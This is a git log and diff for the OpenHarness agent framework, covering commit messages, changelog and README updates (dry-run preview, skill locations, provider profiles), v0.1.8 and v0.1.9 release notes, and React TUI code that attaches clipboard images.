yl-jiang a2bb51483d fix(api): strip <think>…</think> blocks from OpenAI-compatible streaming responses
Some providers (e.g. DeepSeek, MiniMax) embed chain-of-thought content
inside <think>…</think> tags in delta.content rather than using a dedicated
reasoning_content field.  Without filtering, these internal reasoning blocks
leak into the user-visible output.

Add _strip_think_blocks() which:
- Removes fully-closed <think>…</think> pairs via regex (DOTALL).
- Holds back any unclosed opening tag in a per-stream buffer so cross-chunk
  tags are handled correctly.

Tests: 9 new unit tests in TestStripThinkBlocks covering no-op passthrough,
single/multiple complete blocks, multiline blocks, unclosed tags, and the
cross-chunk scenario.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-20 14:30:23 +08:00
tjb-tech 55dc030208 Merge PR #170: feat(hooks): add user_prompt_submit, notification, stop events 2026-04-20 05:32:37 +00:00
tjb-tech df7fde80e8 fix(session): sanitize dangling tool calls on restore 2026-04-20 05:10:57 +00:00
José Maia badfb6b592 ci: retrigger 3.10 job (known flake in unrelated test_agent_send_message_flow_restarts_completed_agent) 2026-04-20 05:41:43 +01:00
José Maia cd68ff1e25 feat(hooks): add user_prompt_submit, notification, stop events
Extends the HookEvent enum with three new events so plugins authored
against Claude Code's hook protocol can run unmodified on OpenHarness.

- user_prompt_submit fires in QueryEngine.submit_message before the
  model sees a new user message. Payload: {event, prompt}.
- stop fires inside run_query when the assistant turn ends without
  tool uses. Payload: {event, stop_reason}.
- notification fires before the permission_prompt callback on
  confirmation-required tool calls. Payload: {event, notification_type,
  tool_name, reason}.

Hook return values are observational in this release; exit-code-driven
blocking and continuation semantics are deferred to a follow-up so the
surface area of this change stays small and reviewable.

Tests in tests/test_engine/test_query_engine.py cover each fire site,
including a negative case verifying stop does not fire on turns that
contain tool uses.
2026-04-19 21:05:23 +01:00
tjb-tech b11a83df66 test(ci): stabilize full-suite regressions 2026-04-19 15:07:24 +00:00
tjb-tech 1c00020d36 fix(coordinator): wait for async agent tasks in print mode 2026-04-19 14:56:47 +00:00
tjb-tech d4eae153d3 fix(shell): address Windows backspace and TUI shell regressions 2026-04-19 14:22:37 +00:00
181 changed files with 21170 additions and 745 deletions
+39
View File
@@ -8,6 +8,34 @@ The format is based on Keep a Changelog, and this project currently tracks chang
### Added
- Hooks now support a `priority` field (default `0`). Within an event, hooks run highest-priority first, and hooks sharing a priority keep their registration order. This lets users order, for example, a security-check hook ahead of a logging hook regardless of where each is declared in settings or contributed by plugins.
- `edit_file` and `write_file` in the React TUI now preview a unified diff before applying file changes, let users approve once or for the rest of the session, and skip the extra prompt automatically in `full_auto` mode.
### Fixed
- Codex subscription requests now pass reasoning effort separately, enabling `gpt-5.5` with `xhigh` effort instead of treating `gpt-5.5 xhigh` as an unsupported model name.
- Telegram channel now delivers replies again under `ohmo init --no-interactive` and other configs that do not write a `reply_to_message` field. `TelegramConfig` declares `reply_to_message: bool = True` so the attribute access in `TelegramChannel.send` no longer raises `AttributeError` and outbound progress/tool-hint/final messages are sent as expected. See issue #243.
## [0.1.9] - 2026-05-07
### Added
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- User-invocable skills can now be triggered directly as slash commands, with support for skill-specific arguments and model override metadata.
### Fixed
- `oh setup` can now update the API key for an already-configured API-key provider profile instead of only changing the model.
- `oh provider edit <profile> --api-key <key>` can now replace a saved profile API key, and `oh provider add ... --api-key <key>` can store one during profile creation.
## [0.1.8] - 2026-05-06
### Added
- Built-in `nvidia` provider profile so `oh setup` offers NVIDIA NIM as a first-class OpenAI-compatible provider choice, with `NVIDIA_API_KEY` auth source, `openai/gpt-oss-120b` as the default model, and the NVIDIA NIM endpoint.
- Built-in `qwen` provider profile so `oh setup` offers Qwen (DashScope) as a first-class provider choice, with `dashscope_api_key` auth source, `qwen-plus` as the default model, and the DashScope OpenAI-compatible endpoint.
- Plugin tool discovery: plugins can now provide `BaseTool` subclasses in a `<plugin>/tools/` directory and they are auto-discovered, instantiated, and registered in the tool registry at runtime. Add `tools_dir` to `plugin.json` (defaults to `"tools"`).
- `oh --dry-run` safe preview mode for inspecting resolved runtime settings, auth state, prompt assembly, commands, skills, tools, and configured MCP servers without executing the model or tools.
- Built-in `minimax` provider profile so `oh setup` offers MiniMax as a first-class provider choice, with `MINIMAX_API_KEY` auth source, `MiniMax-M2.7` as the default model, and `MiniMax-M2.7-highspeed` in the model picker.
- Docker as an alternative sandbox backend (`sandbox.backend = "docker"`) for stronger execution isolation with configurable resource limits, network isolation, and automatic image management.
- Built-in `gemini` provider profile so `oh setup` offers Google Gemini as a first-class provider choice, with `gemini_api_key` auth source and `gemini-2.5-flash` as the default model.
@@ -24,6 +52,15 @@ The format is based on Keep a Changelog, and this project currently tracks chang
### Fixed
- Subprocess teammate spawn (`agent` tool, `task_create`) now works on Windows under Git Bash. `subprocess_backend.spawn` builds a direct-exec `argv` list and passes it through new `argv=` and `env=` kwargs on `BackgroundTaskManager.create_agent_task` / `create_shell_task`; `_start_process` then runs the executable via `asyncio.create_subprocess_exec(*argv)` with no shell in between. Previously the spawn command was a single string interpreted by `bash -lc`, which on Windows could not reliably exec a Windows-pathed Python interpreter (e.g. `C:\Users\...\python.exe`) — Git Bash's escape parser consumed the backslashes from the embedded env-prefix and, even with proper quoting, bash launched via `asyncio.create_subprocess_exec` returned `command not found` for Windows-pathed binaries that worked perfectly when invoked interactively. Bypassing the shell sidesteps the entire class of cross-platform quoting and path-translation hazard. The legacy shell-evaluated `command=` path is preserved for callers (e.g. `BashTool`) that legitimately want shell semantics. See issue #230.
- Bundled skill loader now uses `yaml.safe_load` for SKILL.md frontmatter, matching the user-skill loader. The shared parser is extracted to `openharness.skills._frontmatter` so bundled and user skills handle YAML block scalars (`>`, `|`), quoted values, and other standard YAML constructs the same way.
- Compaction now detects llama.cpp/OpenAI-compatible context overflow errors, accounts for image blocks in auto-compact token estimates, and strips image payloads from summarizer-only compaction requests.
- Large tool results are now bounded in conversation history: oversized outputs are saved under `tool_artifacts`, old MCP results become microcompactable, and context collapse trims stale tool-result payloads.
- ohmo now keeps personal memory isolated from OpenHarness project memory: `/memory` in ohmo sessions targets the ohmo workspace memory store, and ohmo runtime prompt refreshes no longer inject project memory unless explicitly requested.
- Fixed `glob` and `grep` tools hanging indefinitely when the `rg` subprocess produced enough stderr output to fill the OS pipe buffer. `stderr` is now redirected to `DEVNULL` so it is discarded rather than blocking the child process.
- Fixed `bash_tool` hanging after a timed-out command when the subprocess stdout stream stayed open. `_read_remaining_output` now applies a 2-second `asyncio.wait_for` timeout so the tool always returns promptly.
- Fixed `session_runner` background task deadlock caused by an unread `stderr=PIPE` stream. The subprocess now uses `stderr=STDOUT` so all output merges into the single readable stdout pipe.
- React TUI prompt input now treats the raw DEL byte (`0x7f`) as backward delete while preserving true forward-delete escape sequences, fixing backspace failures seen in some macOS terminal environments.
- `todo_write` tool now updates an existing unchecked item in-place when `checked=True` instead of appending a duplicate `[x]` line.
- Built-in `Explore` and `claude-code-guide` agents no longer hard-code `model="haiku"`, which caused them to fail for users on non-Anthropic providers (OpenAI, Bedrock, custom base URLs, etc.). Both agents now use `model="inherit"` so they run with whatever model the parent session is using. `build_inherited_cli_flags` is also fixed to skip the `--model` flag entirely when the value is `"inherit"`, letting the subprocess correctly inherit the parent model via the `OPENHARNESS_MODEL` environment variable instead of receiving the literal string `"inherit"` as a model name.
@@ -45,6 +82,8 @@ The format is based on Keep a Changelog, and this project currently tracks chang
### Changed
- ohmo Feishu group routing now supports managed group creation, gateway-scoped provider/model commands, and stricter group mention handling so group conversations only wake ohmo when explicitly addressed.
- Dry-run output now reports a `ready` / `warning` / `blocked` readiness verdict, concrete `next_actions`, likely matching skills/tools for normal prompts, and richer slash-command previews for read-only vs stateful command paths.
- React TUI now groups consecutive `tool` + `tool_result` transcript rows into a single compound row: success shows the result line count inline (e.g. `→ 24L`), errors show a red icon and up to 5 lines of error detail beneath the tool row. Standalone successful tool results are suppressed to reduce transcript noise; standalone errors are still surfaced.
- README now links to contribution docs, changelog, showcase material, and provider compatibility guidance.
- README quick start now includes a one-command demo and clearer provider compatibility notes.
+94 -2
View File
@@ -153,6 +153,10 @@ OpenHarness is an open-source Python implementation designed for **researchers,
## 📰 What's New
- **Unreleased** 🔍 **Dry-run safe preview**:
- `oh --dry-run` previews resolved runtime settings, auth state, skills, commands, tools, and configured MCP servers without executing the model, tools, or subagents.
- Dry-run now reports a `ready` / `warning` / `blocked` readiness verdict with concrete next-step suggestions such as fixing auth, fixing MCP config, or running the prompt directly.
- Prompt previews include likely matching skills and tools, while slash-command previews show whether the command is mostly read-only or stateful.
- **2026-04-18** ⚙️ **v0.1.7** — Packaging & TUI polish:
- Install script now links `oh`, `ohmo`, and `openharness` into `~/.local/bin` instead of prepending the virtualenv `bin` directory to `PATH`, which avoids clobbering Conda-managed shells.
- React TUI now supports `Shift+Enter` to insert a newline while keeping plain `Enter` as submit.
@@ -223,7 +227,7 @@ oh setup # interactive wizard — pick a provider, authenticate, done
# On Windows PowerShell, use: openh setup
```
Supports **Claude / OpenAI / Copilot / Codex / Moonshot(Kimi) / GLM / MiniMax** and any compatible endpoint.
Supports **Claude / OpenAI / Copilot / Codex / Moonshot(Kimi) / GLM / MiniMax / NVIDIA NIM** and any compatible endpoint.
### 3. Run
@@ -261,6 +265,43 @@ oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry Run (Safe Preview)
Use `--dry-run` when you want to inspect what OpenHarness would use before any live execution starts.
```bash
# Preview an interactive session setup
oh --dry-run
# Preview one prompt without executing the model or tools
oh --dry-run -p "Review this bug fix and grep for failing tests"
# Preview a slash command path
oh --dry-run -p "/plugin list"
# Get structured output for scripts or channels
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run is intentionally static:
- It does **not** call the model
- It does **not** execute tools or spawn subagents
- It does **not** connect to MCP servers
- It **does** resolve settings, auth status, prompt assembly, skills, commands, tools, and obvious MCP config problems
Readiness levels:
- `ready`: configuration looks usable; the next suggested action is usually to run the prompt directly
- `warning`: OpenHarness can resolve the session, but something important still looks wrong, such as broken MCP config or missing auth for later model work
- `blocked`: the requested path will not run successfully as-is, for example an unknown slash command or a prompt that cannot resolve a runtime client
`next actions` in the dry-run output tell you the shortest fix or follow-up step, such as:
- run `oh auth login`
- fix or disable broken MCP configuration
- run the prompt directly with `oh -p "..."` or open the interactive UI with `oh`
## 🔌 Provider Compatibility
OpenHarness treats providers as **workflows** backed by named profiles. In day-to-day use, prefer:
@@ -306,6 +347,7 @@ Any provider implementing the OpenAI `/v1/chat/completions` style API works:
| **DeepSeek** | `https://api.deepseek.com` | `deepseek-chat`, `deepseek-reasoner` |
| **GitHub Models** | `https://models.inference.ai.azure.com` | `gpt-4o`, `Meta-Llama-3.1-405B-Instruct` |
| **SiliconFlow** | `https://api.siliconflow.cn/v1` | `deepseek-ai/DeepSeek-V3` |
| **NVIDIA NIM** | `https://integrate.api.nvidia.com/v1` | `openai/gpt-oss-120b`, `nvidia/llama-3.3-nemotron-super-49b-v1` |
| **Google Gemini** | `https://generativelanguage.googleapis.com/v1beta/openai` | `gemini-2.5-flash`, `gemini-2.5-pro` |
| **Groq** | `https://api.groq.com/openai/v1` | `llama-3.3-70b-versatile` |
| **Ollama (local)** | `http://localhost:11434/v1` | any local model |
@@ -499,7 +541,47 @@ Available Skills:
- ... 40+ more
```
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — just copy `.md` files to `~/.openharness/skills/`.
Skills can live in bundled, user, ohmo, project, or plugin locations. User-level skills are loaded from:
```text
~/.openharness/skills/<skill>/SKILL.md
~/.claude/skills/<skill>/SKILL.md
~/.agents/skills/<skill>/SKILL.md
```
Project-level skills are enabled by default and are discovered from the current working directory up to the git root:
```text
<project>/.openharness/skills/<skill>/SKILL.md
<project>/.agents/skills/<skill>/SKILL.md
<project>/.claude/skills/<skill>/SKILL.md
```
Disable project skills for untrusted repositories with:
```bash
oh config set allow_project_skills false
```
Use `/skills` to list loaded skills with their source and path. User-invocable skills can be run directly as slash commands, for example `/deploy staging`.
**Compatible with [anthropics/skills](https://github.com/anthropics/skills)** — use the `SKILL.md` directory layout above.
### 🌐 Web search and proxy settings
Built-in `web_search` uses DuckDuckGo HTML search by default. In regions where that endpoint is unreachable, point OpenHarness at a trusted public HTML search endpoint or your own SearXNG instance:
```bash
export OPENHARNESS_WEB_SEARCH_URL="https://your-searxng.example/search"
```
`web_search` and `web_fetch` keep `trust_env=False` for SSRF safety, so they do not automatically inherit `HTTP_PROXY` / `HTTPS_PROXY`. If you need a proxy, opt in with an OpenHarness-specific variable:
```bash
export OPENHARNESS_WEB_PROXY="http://127.0.0.1:7890"
```
The proxy URL must be HTTP/HTTPS and cannot contain embedded credentials.
### 🔌 Plugin System
@@ -757,6 +839,16 @@ Useful contributor entry points:
---
## 🔧 Troubleshooting
### Backspace key in macOS Terminal.app
OpenHarness handles both common terminal delete sequences, including the raw `DEL` byte (`0x7f`) that macOS Terminal.app sends for Backspace. If Backspace inserts spaces or visible control characters instead of deleting text, upgrade OpenHarness first.
For older versions that do not include this fix, use a terminal that sends a standard Backspace sequence or adjust your terminal keyboard profile as a temporary workaround.
---
## 📄 License
MIT — see [LICENSE](LICENSE).
+44
View File
@@ -20,6 +20,12 @@
## 最新更新
### Unreleased · Dry-run 安全预览
- 新增 `oh --dry-run`,可以在**不执行模型、不执行工具、不 spawn subagent** 的前提下,预览当前会话会使用的配置、skills、commands、tools 和 MCP 配置。
- Dry-run 会给出 `ready / warning / blocked` 结论,并直接告诉你下一步该做什么,例如先修认证、先修 MCP 配置,或者可以直接运行。
- 对普通 prompt,会给出可能命中的 skills / tools;对 slash command,会展示它更偏只读还是会改本地状态。
### 2026-04-06 · v0.1.2
- 新增统一配置入口 `oh setup`
@@ -169,6 +175,44 @@ oh -p "List all functions in main.py" --output-format json
oh -p "Fix the bug" --output-format stream-json
```
### Dry-run 安全预览
如果你想先看 OpenHarness **会怎么跑**,但又不想真的执行模型或工具,可以用:
```bash
# 预览交互会话本身
oh --dry-run
# 预览一个普通 prompt
oh --dry-run -p "Review this bug fix and grep for failing tests"
# 预览 slash command
oh --dry-run -p "/plugin list"
# 输出结构化 JSON,方便脚本或 channel 使用
oh --dry-run -p "Explain this repository" --output-format json
```
Dry-run 的边界是明确的:
- **不会**调用模型
- **不会**执行 tools
- **不会**启动 subagent
- **不会**连接 MCP server
- **会**解析 settings、auth 状态、system prompt、skills、commands、tools,以及明显错误的 MCP 配置
Readiness 结论说明:
- `ready`:当前配置基本可直接运行
- `warning`:能解析会话,但仍有重要问题需要先处理,比如 MCP 配置错误或后续模型调用缺认证
- `blocked`:按当前状态直接运行会失败,比如 slash command 不存在,或者普通 prompt 无法解析 runtime client
Dry-run 输出里的 `next actions` 会直接给出下一步建议,例如:
- 先执行 `oh auth login`
- 先修或禁用坏掉的 MCP 配置
- 直接运行 `oh -p "..."` 或进入 `oh`
---
## Provider 兼容性概览
+66
View File
@@ -0,0 +1,66 @@
# v0.1.8 — Providers, ohmo Feishu Groups, and Safer Remotes
OpenHarness v0.1.8 is a stabilization and provider-expansion release. It adds more first-class provider workflows, improves ohmo's Feishu group experience, hardens remote-channel security, and fixes several Windows/MCP reliability issues.
## Highlights
- **New provider workflows**
- Added NVIDIA NIM as a built-in OpenAI-compatible provider using `NVIDIA_API_KEY`.
- Added ModelScope Inference API support.
- Added Qwen (DashScope), MiniMax, and Gemini provider profiles.
- Improved OpenAI-compatible API behavior, including explicit bearer authorization headers and `<think>` block filtering for compatible streaming responses.
- **ohmo Feishu group support**
- Added Feishu managed group creation flow for ohmo.
- Added gateway-scoped provider/model commands for chat-based operation.
- Improved group routing and mention policy so ohmo responds in shared Feishu groups only when explicitly addressed.
- Hardened Feishu attachment filename handling.
- **Security and remote-channel hardening**
- Kept sensitive config/auth/provider/model/ship commands local-only by default in remote channels.
- Kept bridge commands local-only by default.
- Added coverage for bridge spawn blocking and remote gateway security behavior.
- Rejected path traversal names during plugin uninstall.
- **Windows and shell reliability**
- Fixed Windows agent/subagent spawning by direct-executing teammate argv instead of shell-wrapping Python paths.
- Windows shell resolution now skips discovered `bash.exe` binaries that cannot actually run commands, falling back to PowerShell/cmd.
- Improved Windows gateway process lifecycle handling.
- Avoided shell execution when opening browsers on Windows.
- **MCP, tools, and stability**
- MCP startup now isolates failed servers instead of aborting the whole OpenHarness startup.
- Fixed subprocess stderr pipe deadlocks in grep/glob/bash/session runner paths.
- Bounded large tool results in conversation history and improved compaction under large/vision contexts.
- Improved skill frontmatter parsing with YAML `safe_load` for bundled and user skills.
- **TUI and UX fixes**
- Restored raw `DEL` backspace handling for macOS Terminal-style environments.
- Added better slash-command completion, markdown table rendering, spinner behavior, and escape interruption.
- Added image-to-text fallback support for text-only models and `--vision-model` override.
## External contributors
Thanks to the external contributors whose PRs are included in this release:
- @Litianhui888 — MCP startup isolation (#237)
- @Hinotoi-agent — remote command security hardening (#232, #209, #208, #198, #197)
- @nsxdavid — Windows agent spawn fix (#231)
- @voidborne-d — bundled skill frontmatter parsing (#229)
- @Mcy0618 — image-to-text fallback and ModelScope support (#227, #224)
- @WANG-Guangxin — invalid regex fallback fix (#219)
- @glitch-ux — Windows browser auth safety, async coordinator draining, autopilot shell safety, hook events (#217, #200, #188, #170)
- @Escapingbug — Windows gateway lifecycle and Telegram proxy config fixes (#193, #192)
- @ZevGit — Qwen provider profile (#207)
- @yl-jiang — subprocess stderr deadlock fixes and OpenAI-compatible think-block filtering (#205, #174)
- @he-yufeng — TUI slash-command completion polish (#185)
- @powAu3 — raw DEL backspace fix (#182)
- @flobo3 — shell subprocess stdin default fix (#179)
## Install
```bash
pip install --upgrade openharness-ai==0.1.8
```
Or run the installer from the repository docs.
+32
View File
@@ -0,0 +1,32 @@
# v0.1.9 — Skill Workflows and Provider Key Updates
OpenHarness v0.1.9 is a small follow-up release after v0.1.8 focused on making skills easier to create and invoke, plus fixing provider API key updates.
## Highlights
- **Bundled skill creator**
- Added a bundled `skill-creator` skill for creating, improving, and verifying OpenHarness/ohmo skills.
- This makes repeatable workflows easier to capture as first-class skills.
- **User-invocable skill slash commands**
- Skills marked as user-invocable can now be triggered directly with slash commands.
- Slash-invoked skills support user arguments and can request a model override through skill metadata.
- **Provider API key update fix**
- `oh setup` now lets users update the API key for an already-configured API-key provider profile.
- `oh provider edit <profile> --api-key <key>` can replace a saved profile key directly.
- `oh provider add ... --api-key <key>` can store a key while creating a provider profile.
## Fixes
- Fixed issue #238, where users could change a configured provider model but had no supported path to update the saved API key.
## Install
```bash
pip install --upgrade openharness-ai==0.1.9
```
## Contributors
This release is primarily a maintainer follow-up release. Thanks to the users and contributors who reported and validated the provider key update workflow, especially the reporter of #238.
+134 -13
View File
@@ -1,6 +1,7 @@
import React, {useDeferredValue, useEffect, useMemo, useState} from 'react';
import React, {useDeferredValue, useEffect, useMemo, useRef, useState} from 'react';
import {Box, Text, useApp, useInput} from 'ink';
import {readClipboardImage, type ImageAttachment} from './clipboardImage.js';
import {CommandPicker} from './components/CommandPicker.js';
import {ConversationView} from './components/ConversationView.js';
import {ModalHost} from './components/ModalHost.js';
@@ -11,7 +12,7 @@ import {SwarmPanel} from './components/SwarmPanel.js';
import {TodoPanel} from './components/TodoPanel.js';
import {useBackendSession} from './hooks/useBackendSession.js';
import {ThemeProvider, useTheme} from './theme/ThemeContext.js';
import type {FrontendConfig} from './types.js';
import type {FrontendConfig, ImageAttachmentPayload} from './types.js';
const rawReturnSubmit = process.env.OPENHARNESS_FRONTEND_RAW_RETURN === '1';
const scriptedSteps = (() => {
@@ -64,6 +65,8 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
const [modalInput, setModalInput] = useState('');
const [history, setHistory] = useState<string[]>([]);
const [historyIndex, setHistoryIndex] = useState(-1);
const [imageAttachments, setImageAttachments] = useState<ImageAttachment[]>([]);
const [clipboardStatus, setClipboardStatus] = useState<string | null>(null);
const [lastEscapeAt, setLastEscapeAt] = useState(0);
const [scriptIndex, setScriptIndex] = useState(0);
const [pickerIndex, setPickerIndex] = useState(0);
@@ -77,6 +80,7 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
const deferredTodoMarkdown = useDeferredValue(session.todoMarkdown);
const deferredSwarmTeammates = useDeferredValue(session.swarmTeammates);
const deferredSwarmNotifications = useDeferredValue(session.swarmNotifications);
const clipboardStatusTimerRef = useRef<NodeJS.Timeout | null>(null);
useEffect(() => {
const nextTheme = session.status.theme;
@@ -85,6 +89,47 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
}
}, [session.status.theme, setThemeName]);
useEffect(() => {
return () => {
if (clipboardStatusTimerRef.current) {
clearTimeout(clipboardStatusTimerRef.current);
}
};
}, []);
const setTemporaryClipboardStatus = (message: string): void => {
setClipboardStatus(message);
if (clipboardStatusTimerRef.current) {
clearTimeout(clipboardStatusTimerRef.current);
}
clipboardStatusTimerRef.current = setTimeout(() => {
setClipboardStatus(null);
clipboardStatusTimerRef.current = null;
}, 2500);
};
const attachClipboardImage = (): void => {
void (async () => {
const image = await readClipboardImage();
if (!image) {
setTemporaryClipboardStatus('No image found in clipboard');
return;
}
setImageAttachments((items) => [...items, image]);
setTemporaryClipboardStatus(`Attached ${image.label}`);
})().catch((error: unknown) => {
const message = error instanceof Error ? error.message : String(error);
setTemporaryClipboardStatus(`Clipboard image unavailable: ${message}`);
});
};
const imagePayloads = (): ImageAttachmentPayload[] =>
imageAttachments.map((image) => ({
media_type: image.media_type,
data: image.data,
source_path: image.source_path,
}));
// Current tool name for spinner
const currentToolName = useMemo(() => {
for (let i = deferredTranscript.length - 1; i >= 0; i--) {
@@ -177,14 +222,25 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
useInput((chunk, key) => {
const isPaste = chunk.length > 1 && !key.ctrl && !key.meta;
const isEscape = key.escape || chunk === '\u001B';
// Ctrl+C → exit
// Ctrl+C interrupts a running turn; when idle it exits the TUI.
if (key.ctrl && chunk === 'c') {
if (session.busy) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
session.sendRequest({type: 'shutdown'});
exit();
return;
}
if (!session.busy && key.ctrl && chunk === 'v') {
attachClipboardImage();
return;
}
// Let ink-text-input handle pasted text directly.
if (isPaste) {
return;
@@ -252,7 +308,7 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'n' || key.escape) {
if (chunk.toLowerCase() === 'n' || isEscape) {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
@@ -264,16 +320,64 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
return;
}
// --- Edit diff modal (also appears while busy) ---
if (session.modal?.kind === 'edit_diff') {
if (chunk.toLowerCase() === 'y') {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: true,
permission_reply: 'once',
});
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'a') {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: true,
permission_reply: 'always',
});
session.setModal(null);
return;
}
if (chunk.toLowerCase() === 'n' || isEscape) {
session.sendRequest({
type: 'permission_response',
request_id: session.modal.request_id,
allowed: false,
permission_reply: 'reject',
});
session.setModal(null);
return;
}
return;
}
// --- Question modal (also appears while busy) ---
if (session.modal?.kind === 'question') {
return; // Let TextInput in ModalHost handle input
}
if (session.busy && isEscape) {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
return;
}
// --- Ignore input while busy ---
if (session.busy) {
return;
}
// Empty-input Tab opens the permission mode picker. This makes leaving
// plan mode explicit without requiring users to remember /permissions.
if (!showPicker && key.tab && input.trim() === '') {
session.sendRequest({type: 'select_command', command: 'permissions'});
return;
}
// --- Command picker ---
if (showPicker) {
if (key.upArrow) {
@@ -297,20 +401,25 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
if (key.tab) {
const selected = commandHints[pickerIndex];
if (selected) {
setInput(selected + ' ');
// Complete to the selected command with no trailing space —
// the user can hit Enter immediately to run it, or keep
// typing to add args. The trailing space made it look like
// Tab was "committing" with a token, which broke the flow.
setInput(selected);
}
return;
}
if (key.escape) {
if (isEscape) {
setInput('');
return;
}
}
if (key.escape) {
if (isEscape) {
const now = Date.now();
if (input && now - lastEscapeAt < 500) {
if ((input || imageAttachments.length > 0) && now - lastEscapeAt < 500) {
setInput('');
setImageAttachments([]);
setHistoryIndex(-1);
setLastEscapeAt(0);
return;
@@ -350,20 +459,28 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
setModalInput('');
return;
}
if (!value.trim() || session.busy || !session.ready) {
if ((!value.trim() && imageAttachments.length === 0) || session.busy || !session.ready) {
if (session.busy && value.trim() === '/stop') {
session.sendRequest({type: 'interrupt'});
session.setBusyLabel('Stopping current operation...');
setInput('');
}
return;
}
// Check if it's an interactive command
if (handleCommand(value)) {
if (imageAttachments.length === 0 && handleCommand(value)) {
setHistory((items) => [...items, value]);
setHistoryIndex(-1);
setInput('');
return;
}
session.sendRequest({type: 'submit_line', line: value});
setHistory((items) => [...items, value]);
session.sendRequest({type: 'submit_line', line: value, images: imagePayloads()});
if (value.trim()) {
setHistory((items) => [...items, value]);
}
setHistoryIndex(-1);
setInput('');
setImageAttachments([]);
session.setBusy(true);
};
@@ -448,6 +565,8 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
toolName={session.busy ? currentToolName : undefined}
statusLabel={session.busy ? (session.busyLabel ?? (currentToolName ? `Running ${currentToolName}...` : 'Running agent loop...')) : undefined}
suppressSubmit={showPicker}
imageAttachmentLabels={imageAttachments.map((image) => image.label)}
clipboardStatus={clipboardStatus}
/>
)}
@@ -458,8 +577,10 @@ function AppInner({config}: {config: FrontendConfig}): React.JSX.Element {
<Text color={theme.colors.primary}>shift+enter</Text> newline{' '}
<Text color={theme.colors.primary}>enter</Text> send{' '}
<Text color={theme.colors.primary}>/</Text> commands{' '}
<Text color={theme.colors.primary}>tab</Text> mode{' '}
<Text color={theme.colors.primary}>{'\u2191\u2193'}</Text> history{' '}
<Text color={theme.colors.primary}>ctrl+c</Text> exit
<Text color={theme.colors.primary}>{session.busy ? '/stop' : 'esc'}</Text> stop{' '}
<Text color={theme.colors.primary}>ctrl+c</Text> {session.busy ? 'stop' : 'exit'}
</Text>
</Box>
) : null}
+173
View File
@@ -0,0 +1,173 @@
import {execFile} from 'node:child_process';
import {mkdtemp, readFile, rm, stat} from 'node:fs/promises';
import {tmpdir} from 'node:os';
import {join} from 'node:path';
export type ImageAttachment = {
id: string;
label: string;
media_type: string;
data: string;
source_path?: string;
size_bytes?: number;
};
const MAX_CLIPBOARD_IMAGE_BYTES = 15 * 1024 * 1024;
const EXEC_TIMEOUT_MS = 2500;
type ClipboardImageRead = {
data: Buffer;
mediaType: string;
label: string;
};
export async function readClipboardImage(): Promise<ImageAttachment | null> {
const image = await readClipboardImageData();
if (!image) {
return null;
}
return {
id: `clipboard-${Date.now()}-${Math.random().toString(16).slice(2)}`,
label: image.label,
media_type: image.mediaType,
data: image.data.toString('base64'),
source_path: `clipboard:${image.label}`,
size_bytes: image.data.length,
};
}
async function readClipboardImageData(): Promise<ClipboardImageRead | null> {
if (process.platform === 'darwin') {
return readMacClipboardImage();
}
if (process.platform === 'win32') {
return readWindowsClipboardImage();
}
return readLinuxClipboardImage();
}
async function readMacClipboardImage(): Promise<ClipboardImageRead | null> {
const tempDir = await mkdtemp(join(tmpdir(), 'openharness-clipboard-'));
try {
const pngPath = join(tempDir, 'clipboard.png');
if (await runFileCommand('pngpaste', [pngPath])) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
if (await writeMacClipboardClass('PNGf', pngPath)) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
const tiffPath = join(tempDir, 'clipboard.tiff');
if (await writeMacClipboardClass('TIFF', tiffPath)) {
if (await runFileCommand('sips', ['-s', 'format', 'png', tiffPath, '--out', pngPath])) {
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
}
return await readImageFile(tiffPath, 'image/tiff', 'clipboard.tiff');
}
return null;
} finally {
await rm(tempDir, {recursive: true, force: true});
}
}
async function writeMacClipboardClass(classCode: 'PNGf' | 'TIFF', outputPath: string): Promise<boolean> {
const appleClass = `${String.fromCharCode(0xab)}class ${classCode}${String.fromCharCode(0xbb)}`;
const escapedPath = outputPath.replace(/\\/g, '\\\\').replace(/"/g, '\\"');
return runFileCommand('osascript', [
'-e',
`set clipboardData to the clipboard as ${appleClass}`,
'-e',
`set outFile to open for access POSIX file "${escapedPath}" with write permission`,
'-e',
'set eof outFile to 0',
'-e',
'write clipboardData to outFile',
'-e',
'close access outFile',
]);
}
async function readWindowsClipboardImage(): Promise<ClipboardImageRead | null> {
const tempDir = await mkdtemp(join(tmpdir(), 'openharness-clipboard-'));
try {
const pngPath = join(tempDir, 'clipboard.png');
const escapedPath = pngPath.replace(/'/g, "''");
const powershell = join(
process.env.SystemRoot ?? 'C:\\Windows',
'System32',
'WindowsPowerShell',
'v1.0',
'powershell.exe',
);
const script = [
'Add-Type -AssemblyName System.Windows.Forms',
'Add-Type -AssemblyName System.Drawing',
'if (-not [Windows.Forms.Clipboard]::ContainsImage()) { exit 2 }',
'$image = [Windows.Forms.Clipboard]::GetImage()',
`$image.Save('${escapedPath}', [Drawing.Imaging.ImageFormat]::Png)`,
].join('; ');
if (!(await runFileCommand(powershell, ['-NoProfile', '-STA', '-Command', script]))) {
return null;
}
return await readImageFile(pngPath, 'image/png', 'clipboard.png');
} finally {
await rm(tempDir, {recursive: true, force: true});
}
}
